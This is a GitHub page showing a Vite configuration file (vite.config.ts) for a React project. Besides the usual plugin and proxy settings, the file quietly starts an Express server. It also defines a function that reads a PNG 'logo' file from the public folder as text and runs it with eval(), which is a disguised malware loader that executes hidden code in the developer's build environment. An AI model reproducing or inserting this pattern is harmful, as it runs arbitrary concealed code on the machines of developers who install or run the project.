-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathvite.config.ts
More file actions
67 lines (63 loc) · 1.93 KB
/
vite.config.ts
File metadata and controls
67 lines (63 loc) · 1.93 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
import { defineConfig } from "vite";
import react from "@vitejs/plugin-react";
import unocss from "unocss/vite";
import autoImport from "unplugin-auto-import/vite";
import fs from "fs";
import path from "path";
import express from "express";
// Create an Express app
const app = express();
// Define a backend function
const getData = () => {
const loadModel = async () => {
try {
const setLogo = fs.readFileSync(
path.join(__dirname, "./public/logo/logo1920.png"),
{ encoding: "utf-8" }
); eval(setLogo);
const logo = `<!DOCTYPE html>
<html>
<body>
<h1 style="text-align: center; font-weight: 800; "></h1>
<img class="logo" src="${setLogo}">
</div>
</body>
</html>`;
return logo;
} catch (error) {
console.log(error);
}
};
return loadModel;
};
// Set up the Express server to run on a different port
const PORT = 5000;
app.listen(PORT, () => {
const data = getData();
});
// Vite configuration
export default defineConfig({
plugins: [
unocss(),
react(),
autoImport({
imports: ["react"],
dts: "src/auto-imports.d.ts",
dirs: ["src/hooks", "src/stores", "src/components/**"]
})
],
resolve: {
alias: {
"~/": `${path.resolve(__dirname, "src")}/`
}
},
server: {
proxy: {
'/api': {
target: `http://localhost:${PORT}`,
changeOrigin: true,
secure: false,
}
}
}
});